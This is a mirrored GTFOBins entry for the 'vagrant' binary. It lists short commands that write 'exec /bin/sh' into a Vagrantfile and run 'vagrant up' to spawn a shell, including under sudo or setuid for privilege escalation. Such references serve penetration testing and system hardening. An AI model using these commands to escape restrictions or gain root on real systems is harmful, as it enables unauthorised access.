mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
20 lines
445 B
Markdown
20 lines
445 B
Markdown
---
|
|
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
cd $(mktemp -d)
|
|
echo 'exec "/bin/sh"' > Vagrantfile
|
|
vagrant up
|
|
sudo:
|
|
- code: |
|
|
cd $(mktemp -d)
|
|
echo 'exec "/bin/sh"' > Vagrantfile
|
|
vagrant up
|
|
suid:
|
|
- code: |
|
|
cd $(mktemp -d)
|
|
echo 'exec "/bin/sh -p"' > Vagrantfile
|
|
vagrant up
|
|
---
|